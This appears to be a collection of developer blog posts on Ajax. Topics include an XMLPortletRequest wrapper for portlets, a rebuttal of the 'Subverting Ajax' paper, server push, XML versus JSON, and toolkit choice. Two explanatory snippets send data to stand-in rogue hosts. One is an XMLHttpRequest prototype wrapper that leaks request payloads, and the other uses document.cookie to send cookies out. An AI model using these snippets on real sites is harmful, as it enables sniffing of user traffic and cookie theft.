In my previous post, I discussed the key problems in using XMLHttpRequest within portlets and other similar widget-style components. The programming model used for XMLHttpRequest interferes with the way portals aggregate pages, and provide other features like inter-portlet events, state management etc. In this post, I would like to discuss the script interface XMLPortletRequest. Before we begin, note that, although I am describing this interface in the context of portals, the idea of a wrapper interface such as XMLPortletRequest over XMLHttpRequest can be used to solve a number of use cases related to widgets and browser-side components. I will discuss more about those possibilities in a later post.

XMLPortletRequest is a script interface, i.e. it is possible to implement this interface in JavaScript. This is unlike XMLHttpRequest which can only be implemented by browsers natively. Except for its name, XMLPortletRequest shares the same syntax and semantics with XMLHttpRequest. If a portlet wants to synchronously or asynchronously update its UI either through an action or a render URL, it would simply use XMLPortletRequest in stead of the XMLHttpRequest. Where as browsers implement the XMLHttpRequest interface, portals and similar aggregating applications implement the XMLPortletRequest interface, typically as a layer on top of the XMLHttpRequest.

Here is an example on how to use XMLPortletRequest.

var request = null;
try {
request = new XMLPortletRequest();
}
catch(e) {
request = ... ; // Obtain an XMLHttpRequest instance the usual way
}
request.onreadystatechange = function()
{
if(request.readyState == 4 & request.status == 200) {
// Process
}
}
request.open('GET', <%=url%>, true);
request.send(null);

The code snippet above illustrates a few characteristics of the XMLPortletRequest:

• XMLPortletRequest has the same set of fields and functions as that of the XMLHttpRequest. Here I am referring to the XMLHttpRequest interface as is being standardized by W3C and not various browser-specific implementations.
• XMLPortletRequest follows the same semantics as that of the XMLHttpRequest. There are some minor exceptions, most of which are a result of XMLPortletRequest being a script interface. More about those below.
• XMLPortletRequest is designed to be a replacement of XMLHttpRequest for use in portal applications. Scripts using XMLHttpRequest can be modified to use XMLPortletRequest with minimal changes. The code changes required to migrate from XMLHttpRequest to XMLPortletRequest are simple – just change new XMLHttpRequest to XMLPortletRequest.
• If required, it is possible to write the script such that it can function within or outside a portal environment. Outside the portal environment, the script in the above example will fall back to create an XMLHttpRequest, but the rest of the code works the same.

Here is the XMLPortletRequest interface.

interface XMLPortletRequest {
attribute EventListener onreadystatechange;
readonly attribute unsigned short readyState;
void open(in DOMString method, in DOMString url);
void open(in DOMString method, in DOMString url, in boolean async);
void open(in DOMString method, in DOMString url, in boolean async, in DOMString user);
void open(in DOMString method, in DOMString url, in boolean async, in DOMString user, in DOMString password);
void setRequestHeader(in DOMString header, in DOMString value);
void send();
void send(in DOMString data);
void send(in Document data);
void abort();
DOMString getAllResponseHeaders();
DOMString getResponseHeader(in DOMString header);
readonly attribute DOMString responseText;
readonly attribute Document responseXML;
readonly attribute unsigned short status;
readonly attribute DOMString statusText;
};

But how does this interface solve the problems discussed in my previous post?

Wrapping XMLHttpRequest

Note that the XMLPortletRequest can be implemented as a wrapper over XMLHttpRequest, and portals provide an implementation of the XMLPortletRequest. This gives the portal a chance to intercept both requests and response. It also gives portals a chance to ferry additional portal-specific data along with each request and response, and that is the key feature of the XMLPortletRequest. See figure below.

In the above, the XMLPortletRequest is implemented using XMLHttpRequest. When a portlet’s script submits an XMLPortletRequest, the implementation makes a request to the portal on behalf of the portlet. This request could contain any implementation specific data. The portal then wraps the portlet’s response (which in this case is some JSON data) in its own response payload and returns it to its implementation in the browser. The XMLPortletRequest implementation can then return portlet’s response to the portlet via its responseText or responseXML fields. In this process, it can also update other parts of the page, including UI generated by other portlets. That is the advantage of wrapping XMLHttpRequest with a semantically equivalent interface.

In the case of the event example discussed in my my previous post, updating portlet B’s UI in the browser is now possible. The portal can include portlet B’s UI markup in its response payload (along with portlet A’s JSON data) and send to its implementation in the browser. The implementation can then update portlet B’s UI, for example, by replacing the DOM node corresponding to portlet B in the document object.

Summary

The problem becomes more interesting with Ajax toolkits like Dojo, GWT, ICEFaces etc. Some of these toolkits can be modified to use XMLPortletRequest when available, so that applications using these toolkits can operate without changes. In my next post on this topic, I will discuss more about toolkit integration.

Starting with this post, I would like to describe a new script interface called XMLPortletRequest. The intent of this interface is to provide a means for portlets to implement asynchronous and/or partial page updates within the portal/portlet paradigm, and yet remain compatible with Ajax toolkits and portlet bridges (JSF, Struts, Spring MVC etc.). I developed this approach several months ago, and the portlet-related specification groups, viz., JSR-286 in the Java-land, and WSRP in the language-agnostic web services land, are actively considering this interface as the basis for building Ajax-related solutions. Some specifics of this model are still being debated in these groups, but the semantics of the model are more or less finalized. Please read on for some background and details.

Before looking into XMLPortletRequest, its semantics, and how it is related to the XMLHttpRequest, it is worth looking into some of the peculiarities of using Ajax in portlets.

Problem 1: Reacting to XMLHttpRequest

Portlets are like widgets, and are meant to be aggregated in a portal page. For instance, if you think of the various modules on a Google home page, each module is like a portlet, and is designed to be rendered in a page containing other modules as well as other Google-generated markup.

JSR-168 provides a programming model for developing portlets. Alternatively, you can use frameworks like JSF, Struts, Spring MVC etc to build web apps and deploy those as portlets via portlet bridges. These bridge portlets translate respective framework API calls/life cycle into portlet API calls/life cycle.

The JSR-168 API is designed such that all user interactions go through the portal, which then invokes portlets. When you create a URL using this API (such as an action URL or a render URL), the URLs generated point to the portal. When you send a HTTP request to a portal using such a URL, the portal processes the request first, then goes through the lifecycle of each portlet, and at the end of this process, generates a full page and sends it back to the browser. This model works as long as you are using regular GET and POST submissions with action and render URLs over HTTP. When you bring in XMLHttpRequest into this picture, funny things start to happen. See Figure 1 from the paper titled Best Practices for Applying AJAX to JSR 168 Portlets.

The figure best illustrates one of the key assumptions that portals make regarding rendering. Most portals are designed to re-render the complete page upon each request. However, when a portlet uses XMLHttpRequest in some JavaScript to send a request, what it expects is some data (as text or JSON or XML) or some HTML fragment generated by a portlet. Instead, since the portal renders its complete page, XMLHttpRequest’s responseXML or responseText fields would contain a page generated by the portal.

If the script tries replace the content of some div with the responseText value of XMLHttpRequest, it would be inserting the full portal page within that div, leading the to a “portal in portal page” picture in the above reference. If the script does something else, like trying to eval() the responseText thinking that the response is JSON, it would get a JavaScript error. In essence, the page returned by the page makes little or no sense to the portlet’s script that initiated the XMLHttpRequest.

XMLPortletRequest is designed such that a portal can deliver what the portlet generated on the server side.

Problem 2: Coordination aka Inter-Portlet Communication

In most cases, portlets are self-contained and do not effect each other. Such portlets can be added/removed at will without effecting other portlets on a page. This decoupled nature makes portlet development and deployment easy. But the down side is that, for the end user, the UI looks less interesting. Silos are not not the best way to present UI in a browser.

The upcoming JSR-286, and WSRP 2.0 specifications allow an exception to this. These specifications add an ability for portlets to communicate with each other in a loosely-coupled manner. One of the key mechanisms for doing this is by using events. Events are named, and can optionally have a payload with them. Using this mechanism, based on some user interaction, one portlet could fire an event that other portlets can handle. Upon handling the event, those portlets can fire more events, and the chain can continue until some system limit occurs. In this model, portlets don’t send events directly to each other, and the portal acts as a coordinator for event distribution. During event processing, portlets can change their own state (e.g. change some back-end data). After the event chain completes, the portal renders each portlet with their latest state. In this way, portlets can still remain loosely coupled, and yet influence each other. In essence, events make it possible for a user interaction with one portlet to change the view of not just the portlet that the user is interacting with, but other portlets on a portal page as well. In some cases, the portal itself may want to handle some events, and its own markup may change.

Here is an example. Let’s say, a portal page is aggregating two portlets, viz A and B. A submits an XMLHttpRequest to the server, which then invokes portlet A. As part of processing the request, A fires an event that B can handle. The portal dispatches the event to B. A then generates some JSON data to be returned via the responseText field of the XMLHttpRequest. While processing the event, portlet B changes its state, and its view in the browser becomes stale. The portal then needs to render B as well, and update its UI in the browser.

Portlet A’s script that started the XMLHttpRequest does not know much about portlet B, and hence the portal can not simply return portlet A’s JSON data and portlet B’s HTML view in the same response to portlet A. It needs do something special. Again, the XMLPortletRequest interface is designed to solve this problem such that (a) portlet A can receive its JSON data, and (b) the portal can update portlet B’s view independently. The approach is not limited to events. Depending on how the portal is implemented and the features it supports, it can update any part of the portal page when several fragments of a page needs to be updated in response to a portlet’s XMLHttpRequest.

Problem 3: Toolkits and Bridges

Toolkits and portlet bridges are not problems, but solutions that need to be accommodated within the portlet programming model. These two greatly influence the nature of the solution. First of all, most web developers today rely on toolkits like Dojo, DWR, GWT etc for Ajax. These toolkits simplify Ajax programming either by hiding the JavaScript completely behind a Java API (e.g. as in GWT), or provide higher level JavaScript APIs (e.g as in Dojo). However, these toolkits are portlet-agnostic. Since most web developers are already using these toolkits for their Ajax use cases, it does not help if we design a new portlet-specific Java/JavaScript API. Doing so would raise the bar for portlet development.

The second one the use of of web frameworks such as JSF, Struts, Spring MVC etc to write portlets. The APIs provided by these frameworks are not aware of the portlet API. Even if we design a new portlet-specific Java/JavaScript API, apps written using these frameworks will be agnostic to that API and cannot take advantage of it. So, the solution should be such that the portlet bridge layer can do the necessary translation.

Component libraries like ICEFaces share both flavors. ICEFaces is an Ajax toolkit, but uses JSF as the programming interface, and hence can be used via a JSF portlet bridge.

The XMLPortletRequest API is designed to minimize the amount of translations to be done in bridges and adoption of Ajax toolkits like Dojo easy.

I will discuss more about this interface in my next post.

There is a paper titled Subverting Ajax (PDF), by Stefano Di Paola and Giorgio Fedon circulating the web over the weekend. This paper claims that, by using XMLHttpRequest, an attacker could “inject client side code to toally subvert the communication flow between the client and the server”. This paper also talks how some previously known attacks like cache poisoning, frame injection etc. See below for a quick demo of what the authors of this paper are talking about. The demo makes me conclude that the so-called subversion is hyped up, and does not actually pose a new security threat.

The security issue with XMLHttpRequest that this paper talks about is based on the JavaScript prototypes. This paper shows how a script author could sniff the communication between the browser and the server by wrapping the XMLHttpRequest with a prototype based wrapper. Here is a sample implementation of this so-called attack.

var orig;
if (window.XMLHttpRequest) {
orig = new XMLHttpRequest();
}
else if (window.ActiveXObject) {
try {
orig = new ActiveXObject("Microsoft.XMLHTTP");
}
catch(e) {
try {
orig = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e) {
alert("Could not create httpRequest");
}
}
}

XMLHttpRequest = function()
{
this.xml = orig;
return this;
}
XMLHttpRequest.prototype.send = function(payload)
{
alert("Sniffing payload: " + payload);
return orig.send(payload);
}

XMLHttpRequest.prototype.open = function(method, url, async)
{
alert("Sniffing: " + url);
orig.open(method, url, async);
}

function send()
{
var myreq = new XMLHttpRequest();
myreq.onreadystatechange = function()
{
if (myreq.readyState == 4 && myreq.status == 200) {
alert(myreq.responseText);
}
}

var url = "/get/my/secrets";
myreq.open("GET", url, false);
}

You can also try this online here.

The key point is that the send() function thinks that it is using the native XMLHttpRequest, but is in fact using a wrapped XMLHttpRequest. The wrapped function can see the traffic. It can, for instance, make a request to an external site with the data being transmitted.

XMLHttpRequest.prototype.send = function(payload)
{
var url = "http://rogue-site.com/sniff?data=" + payload;
var script = document.createElement("script");
script.setAttribute("src", url);
script.setAttribute("type", "text/javascript");
head.appendChild(script);
return orig.send(payload);
}

That is a vulnerability – the authors of this paper claim.

It is important to realize that this is a vulnerability only after the attacker is able to inject code into a web page to replace XMLHttpRequest with a wrapped object. This paper talks about a banking example, where an attacker could inject this script, wait for a bank transfer to occur, and then steal the details of the transfer. It is true that once the code injection has happened, there are a number of ways using which an attacker could steal information, even without using XMLHttpRequest.

Assuming that the attacker is able to break into the banking site, he/she could inject an onSubmit() function into each page of the same banking site, and use that method to send submitted data to a rogue site. How is this different from the author’s claim about XMLHttpRequest being vulnerable? The authors don’t discuss or explain. This makes me conclude that the authors’ claims are hyped up.

The cache-poisoning attack that the authors of this paper claim is well-known. See, for example, the security report Browser Cache Poisoning using IE and Caching Servers which talks about the same technique mentioned in Section V of this paper. The technique is based on injecting raw HTTP headers into URLs. Vulnerabilities like this exist due to implementation bugs in browsers and other HTTP applications.

Last week, Opera posted a blog entry describing a different style of doing server push. The technique described is based on server side DOM events as currently proposed in the WHATWG Web Applications 1.0 specification. Also check out the demo, which is based on an early and partial implementation of server side events in Opera 9.x. The approach described can be used to send events over long-running connections to the browser, and in someways resembles the onload event handler of the XMLHttpRequest as implemented in Firefox. But there are some key differences between these approaches.

XMLHttpRequest’s onload (Firefox)

As I described in Dissecting Ajax Server Push, Firefox’s approach is based on an onload event handler registered for XMLHttpRequest.

On the client side, you would create an XMLHttpRequest, and register an onload event handler.

XMLHttpRequest request = new XMLHttpRequest();
request.multipart = true;
request.onload = function(e)
{
// ...
};
request.open('GET', url, true);
request.send(null);

In response to this request, the server is required to send back response of content-type multipart/x-mixed-replace, and send data in multiple parts. Whenever a part is received, the browser would call the onload function with the part received.

However the downside of this approach is that keeping the connection open from the browser-end. You need to come up with some non-trivial steps to detect dropped connections, and reopen the XMLHttpRequest to continue to receive data from the server side.

Server-side DOM Events (Opera 9.x, and Web Applications 1.0 draft)

Server side DOM events can be used to solve the same use case differently. Instead of creating an XMLHttpRequest, you would simply add an event-source element in your HTML,

and then associate event handlers with it.

document.getElementById("eventSourceId")..addEventListener("someEventNamt", myFunc, false);
function myFunc(event)
{
alert(event.data);
}

The event-source element is automatically processed by the browser. It would open a connection to the specified source URI, and calls the event handler function whenever it receives an event with the name specified while registering the listener.

The resource specified at the URI is supposed to return an event stream with content-type application/x-dom-event-stream. The response could contain a series of events (each with a name and payload).

Differences

Both approaches let the server send chunks of data over a possibly long-running connection, and let the client process each chunk of data as it arrives. But the similarities end here.

• Connection management: What I liked most about server-side DOM events is the simplicity. In stead of forcing the script take the responsibility of making sure that the connection is open, with the event source approach, the browser will be responsible for reopening the connection whenever it is dropped (of course, based on some browser policy – such as waiting for a few seconds before attempting to reopen, or not attempting to reopen based on error conditions, etc). On the other hand, with XMLHttpRequest, the script developer has to deal with these conditions. IMO, this is the single biggest drawback of XMLHttpRequest’s onload handler.
• Data vs Events: With XMLHttpRequest, the response is just data carried as a part of a multipart response. The format of the response is opaque as far as the browser is concerned. With server side DOM events, the server would be returing events which get raised by the browser and can be handled just like regular DOM events. This opens the door for the server side to return regular browser events. The current draft of Web Applications 1.0 does include an event class field that could be set on each event, and this field can be mapped to browser side event interfaces including UI related and input events (such as keyboard events). Although the draft is not very clear on how such events would be processed by browsers, the current proposal could be used to couple server side code with browser side events. This seems awkward to me.
• Sending Requests: With XMLHttpRequest, you could use different verbs (GET, POST etc.) and fetch a multipart response via the onload handler. With server side DOM events, the event-source would (presumably – the draft is unclear) send a GET request to fetch events, in essence limiting the event-source to idempotent requests. Also note that the event-source is not tied to HTML controls like forms. So, if you want to fetch events based on user input, you need to create a URI encoding the user input (e.g. as a query string), and dynamically add the event-source element with the URI.

In any case, both approaches are on the bleeding edge, and are not cross-browser compatible – it would in fact be premature to expect such compatibility soon.

What is the right response format for XMLHttpRequest in Ajax applications? The answer is simple for most markup-oriented applications – use HTML. For data-oriented applications the choice is between XML and JSON. Until recently I did not pay much attention to the question of whether to use XML or JSON. I just presumed that the use case at hand will dictate the format. I had a chance to test this presumption
recently. In this post, I would like to describe the criteria I used for comparing between XML and JSON, and my analysis.

Here is my criteria:

• Human readability
• Ease of creating the data on the server side
• Ease of processing the data on the client side
• Extensibility of the payload
• Debugging and trouble-shooting
• Security

Human Readability

Peter-Paul Kock of QuirksMode.org includes human-readability as one of the criteria in his analysis. IMO, human-readability is a secondary goal, and one could easily argue that JSON is as human-readable as XML – provided both are pretty-printed.

Subbu
Allamaraju

({
"firstName" : "Subbu",
"lastName" : "Allamaraju"
});

I would argue that the ability to debug and trouble-shoot is more important than human-readability.

Ease of Data Creation

Given that XML has been around for years, there are a number of XML data-binding APIs to create XML in several programing languages. In the Java-land, for instance, you could data-binding APIs like JAXB or XmlBeans to write XML response. Here is an example using JAXB.

Person person = new Person();
person.setFirstName("Subbu");
person.setLastName("Allamaraju");
Marshaller marshaller = ... // Create a marshaller instance
marshaller.marshal(person, outputStream);

On the otherhand, APIs to create JSON responses are fairly new. Nonetheless, JSON.org lists a fairly impressive collection of APIs in various languages. Here is an example of creating a response with href="http://json-lib.sourceforge.net">Json-lib.

Person person = new Person();
person.setFirstName("Subbu");
person.setLastName("Allamaraju");
writer.write(JSONObject.fromObject(person).toString());

JSON is not far behind in terms of APIs to serialize Java beans into objects. However, I must point out that there are far more ways to create XML than JSON. Some of those XML APIs have been around for years and hence may be more stable for complex
applications.

Another point to consider is what sources are being used to generate the response. If your backend is already doing the heavy-lifting to create data as XML, it will most likely be
optimal to use XML as the response format. If not, I would not discount using JSON.

Ease of Data Processing on the Client Side

On the client-side, processing JSON data from the response of an XMLHttpRequest is trivial.

var person = eval(xhr.responseText);
alert(person.firstName);

With a simple eval(), you could evaluate the response to a JavaScript object. Once this step is done, to access the data, you just access the properties of the evaluated
object. This is the most elegant part of JSON.

Now consider XML. To keep the code snippet below short, I have excluded all error checks.

var xml = xhr.responseXML;
var elements = xml.getElementsByTagName("firstName");
alert(elements[0].firstChild.textContent);

Apparently, to process the response data, you need to walk the DOM tree. This is a very tedious exercise, and is error prone. Unfortunately, DOM is what we are left with on the browser side. Browsers don’t support query languages like XPath to query and
select nodes in an XML document. There is XSLT support, but it is limited to transforming XML into markup (e.g. HTML). W3C’s Web API Working Group is working on a Selectors API that can be used to use CSS-style selectors to select nodes
from a Document object. With this API, the above code snippet can be changed to xml.match("person.firstName") to get the
firstName element. This is not a great improvement in this specific example XML document, but will be more useful to process deeply nested documents. This API is is work-in-progress, and is years away from browsers supporting this API.

Between XML and JSON, I prefer JSON for ease of client side processing.

Extensibility

Extensibility helps reduce the coupling between the producer and the consumer of the data. In the context of Ajax applications, the client side script should be reasonably agnostic of compatible changes made to the data.

It is a common presumption that, just because there is an "X" in XML, XML is automatically extensible. That is not necessarily the case (i.e. not automatic). The extensibility of XML is based on the principle that you can define extensibility points in your XML, and then honor the must-ignore rule (i.e. if you come across an unknown
element/attribute while processing XML, just ignore it).

To take advantage of extensibility, you need to write the processing code on the client side with extensibility in mind. For example, the following code would break when you insert, e.g., a middleName element.

var xml = xhr.responseXML;
var elements = xml.getElementsByTagName("firstName");
var firstNameEl = elements[0];
var lastNameEl = firstNameEl.nextSibling;

When you insert a <middleName> element after the <firstName> element, the code above would incorrectly treat the middle name as last name. To be agnostic of this
change, this code will have to be rewritten to either explicitly get the <lastName> element, or keep accessing nextSibling till the sibling with the correct
tagName is found. So, XML is extensible as long as you write the processing code with extensibility in mind. There is no magic.

How about JSON? I would argue that it is simpler to extend JSON data than XML. It certainly takes less effort. Consider adding a middleName property to the JSON response. To access it, you would simple access the property.

alert(person.middleName);

This code need not be changed if you insert a middle name. How about processing a person object with or without middle name? It is simple with JSON.

if(person.middleName) {
// Process
}

My take is that, provided extensibility is kept in mind, both XML and JSON can be extended. JSON is just much easier to deal with extensibility than XML. You just need to check if a given property exists on an object, and process accordingly.

There is another kind of extensibility possible with JSON, that is to inject code along with the data into the response.

alert("Hi - I'm a person");
({"firstName" : "Subbu",
"lastName" : "Allamaraju"});

When this data is evaluated via eval(), the browser would also execute the alert() statement. This way, you can download and execute code. This approach needs to be used carefully as it pollutes the response and creates a coupling between the code and data. Some people also consider this technique a security risk – more about that below.

Debugging and Trouble-shooting

This aspect needs to be addressed on both the server side and the client side. On the server side, it is necessary to ensure that the data is well-formed and valid. On the client side, it should be easy to debug errors in the response.

With XML, it is relatively easy to check that the data being sent to the client is well-formed and valid. You can use a schema for your data, and use that to validate the data. With JSON, this task is manual, and involves verifing that the response object has
the right attributes.

On the client side, it is difficult to spot errors in either format. With XML, the browser would simply fail to parse the XML into the responseXML. For small JSON data, I was able
to detect errors with the FireBug
extension in Firefox. With larger data, it may be a bit more difficult to relate the error messages to the data.

Security

Dave Johnson comments that JSON could pose security problems in his post JSON and the Golden Fleece. His comment is based on the fact that you can include script along with data in JSON responses, and by using
eval() to process the response, you will also be executing the script, and that such a script may pose a security risk.

window.location = "http://badsite.com?" + document.cookie;
person : {
"firstName" : "Subbu",
"lastName" : "Allamaraju"
}

The response above, when evaluated, will cause the browser to post the user’s cookies to a rogue site. But there is a fallacy in the argument about the security risk. You should not trust data or code when it was returned from un untrusted source. Secondly, you
can not use XMLHttpRequest to connect to domains other than the one you downloaded the script from. So, only the developer(s) in charge of building the application can post the cookies to a rogue site. This is a bit fictitious, since those developers can put the
same code elsewhere in the document outside the data. So unless I’m missing something, I don’t consider that JSON is insecure when compared to XML.

My Conclusion

For data-oriented applications, I prefer JSON to XML due to its simplicity and ease of processing on the client side. XML may be great on the server side, but JSON is definitely easier to deal with on the client side.

This may sound like a dumb question to ask. But I find that Ajax toolkits offer a mixed bag of features not all of which are necessarily related to “asynchronous JavaScript and XML”. Things usually found in a toolkit include – basic I/O support using XMLHttpRequest and/or iframes, client side widgets for partial page updates, server side controls/APIs for partial page updates, eye candy like drag-and-drop, scrollbars, sortable tables, layouts etc, or support for data transfer via JSON, XML etc, or Comet and so on. I feel that when Ajax toolkits come up for discussion, it is difficult to have a meaningful conversation unless there is a clear set of goals and use cases, and which aspects of Ajax toolkits are we talking about.

IMO, Ajax toolkits are just what they are – kits with a mixed set of tools. Here is the list of points that I would consider when addressing the question of toolkit choice (or even rolling out your own).

Basic I/O

Usually at this layer, we are talking about submitting requests using XMLHttpRequest and/or iframes. What a toolkit would probably buy is not having to deal with cross-browser nuances. But as XMLHttpRequest support becomes more consistent across browsers, this task will become more and more trivial. If all you care about is I/O, using a toolkit does not automatically buy you anything.

Client Side APIs for Partial Page Updates

Here toolkits can add some value. Take, for example, submitting a form via an XMLHttpRequest, and doing some DOM changes when a response comes back (the stuff you do when readyState = 4). This is basic, yet mundane. Toolkits like Dojo could take out some of the drudgery involved in this task.

Server Side APIs for Partial Page Updates

Toolkits offering this support make me uncomfortable. These toolkits usually generate some data and script automatically based on the APIs used in your code on the server side. What makes me uncomfortable about these toolkits is the level of abstraction supported. Usually these toolkits start with simple abstractions which look elegent at the beginning, and become leaky when it comes to complex problems requiring control over details. Without getting into specifics, I would ask questions related to caching, cookies, security, and whether the API has support to control these. If your toolkit stands up to these questions, you are in luck.

Another thing to consider is how flexible the APIs are. Questions to ask include – how well does the toolkit support your favorite web development language and framework, how well does it integrate with your existing apps etc.

Data Support

This area includes support for dealing with JSON and XML. Strictly speaking, this area is not related to Ajax itself. There are a number of APIs available (outside Ajax toolkits) to do this work, and Ajax toolkits don’t necessarily offer any value here. Instead of focusing on toolkit support, I would look at the application I am writing, what kinds of data it needs to communicate with the browser, and a schema for the payload across the app.

Widgets and Eye Candy

IMO, these are pre-Ajax (I mean, pre-Google-suggest), but took a front-seat with the increased popularity of Ajax over the last couple of years. Most of the support here has to do with cross-browser HTML, CSS, and JavaScript to provide some rich UI. Again, none of these widgets may be related to Ajax directly. Most server-side web developers would consider writing these widgets yucky (more about these feelings in another post), and Ajax toolkits may be your best bet.

So-Called Backbutton and History Solutions

As I discussed in a previous post, the problems are hard and the solutions are premature. I would not focus on these features yet, since solutions don’t worky very well. Moreover, getting these solutions to work in complex apps is not trivial.

How About Comet?

Although Comet and Ajax are discussed together often, IMO, Comet is whole different area mostly dealing with web/application servers, and programming models to take advantage of Comet. The problem is to be able to serve responses over long-running connnections without necessarily tieing each connection to a single process or thread. See my post on server push for a demo and some analysis.

In the JEE world, the challenge is to improve the servlet API such that a servlet can process a given request over multiple threads. This gives the boring servlet API some flexibility to wake up when interesting events occur, and generate some more response. Jetty and Glassfish have some experimental (read – non-standard and non-portable) support for Comet. This area will remain in flux until the servlet EG takes up this problem and designs an API. Once this is in place, the next challenge to get servlet containers actually take advantage of Comet and offer scalable support without necessarily tieing requests to threads.

So, what is an Ajax toolkit, and which one to pick? Before asking around, I would list my goals and use cases first. I would also consider the fact there are still too many toolkits, and it is likely that some of these will disappear or get consolidated over time. Other questions I have not addressed here, yet may be important, are how stable a given toolkit is, whether the toolkit cares about backward-compatibility or not, whether a new version of a browser will force you to upgrade your toolkit, etc.

Ever wonder why the method getElementById returns null when applied to responseXML of XMLHttpRequest?

Thomas Rabaix discusses about this problem briefly in his Issues when developing AJAX Libraries. Here is a more detailed answer.

In the snippet below, the value of getElementById() would be null.

request.onreadystatechange = function()
{
if(request.readyState == 4) {
if(request.status == 200) {
var info = request.responseXML.getElementById("someid");
alert(info);
}
}
};

In XML, attribute with name id is not automatic. For an element to have an attribute named id, an attribute with name id and type ID must be defined in a schema or DTD underlying an XML document. For instance, XHTML defines such an attribute. The ID type is defined in XML 1.0 and further in XML Schema to be an attribute with a value which must be unique within a given document.

DOM Level 2 describes the behavior of getElementById().

Further, xml:id Version 1.0 encourages schemas to declare attributes named xml:id with the type xs:ID.

The bottomline is that, unless an attribute of type ID is known to the DOM implementation, this method with return null.

For responseXML.getElementById() to return an element with the matching id value, XMLHttpRequest implementations must be aware of the underlying schema/DTD that defines an id attribute of type ID. Currently browsers are not schema/DTD aware for XMLHttpRequests, although they support well-known DTDs like HTML and XHTML for documents.